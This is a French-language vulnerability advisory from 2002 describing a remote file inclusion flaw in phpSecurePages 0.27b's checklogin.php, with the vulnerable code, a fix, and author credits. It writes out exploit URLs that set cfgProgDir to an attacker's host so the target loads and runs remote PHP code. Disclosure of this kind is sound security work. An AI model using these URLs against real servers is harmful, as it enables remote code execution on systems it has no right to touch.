phpSecurePages ************** Informations : °°°°°°°°°°°°°° Langage : PHP Tested version : 0.27b website : http://www.phpsecurepages.f2s.com Problème : Inclusion de fichiers Developpement : °°°°°°°°°°°°°°° phpSecurePages est une application web permettant de sécuriser des pages. Il accepte plusieurs utilisateurs, peu fonctionner sans database ou avec, possiblité de configuration et d'administration,... Dans le fichier checklogin.php, on peut voir les lignes : -------------------------------------------------- if (!$login) { // no login available include($cfgProgDir . "interface.php"); exit; } if (!$password) { // no password available $message = $strNoPassword; include($cfgProgDir . "interface.php"); exit; } -------------------------------------------------- Or la variable $cfgProgDir n'est définie nulle part, puisqu'elle devrait l'être grâce à secure.php, mais secure.php n'est pas inclut. Si la variable $login n'a pas de valeur, on inclut $cfgProgDir."interface.php" puis on stop le script, sinon on continue à executer le script. Si on se rend sur http://[target]/checklogin.php?cfgProgDir=http://[attacker]/ , on inclure la page http://[attacker]/interface.php . On aurait aussi bien pu inclure ce fichier avec l'url http://[target]/checklogin.php?cfgProgDir=http://[attacker]/&login=1 . La seule difference aurait été que le fichier serait inclut à la ligne 108 au lieu de la ligne 102. Patch : °°°°°°° Définir $cfgProgDir dans checklogin.php aussi, par exemple : $cfgProgDir = './'; Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Website : http://www.frog-man.org Date : 26/09/02